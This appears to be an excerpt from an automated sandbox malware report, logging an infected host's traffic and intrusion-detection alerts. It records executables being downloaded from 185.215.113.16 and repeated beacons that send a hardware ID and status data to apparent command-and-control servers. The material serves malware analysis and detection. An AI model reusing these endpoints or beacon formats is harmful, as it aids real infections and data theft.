Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 19:29:58 GMTIf-None-Match: "6723dab6-208800"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002980001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build"tale------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002981001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49734 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49750 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49757 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49756 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49756 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49765 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49766 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49779 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49783 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49769 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49784 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49816 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49832 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49871 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49878 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49887 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49899 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49911 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50204 -> 185.208.156.229:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49790

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
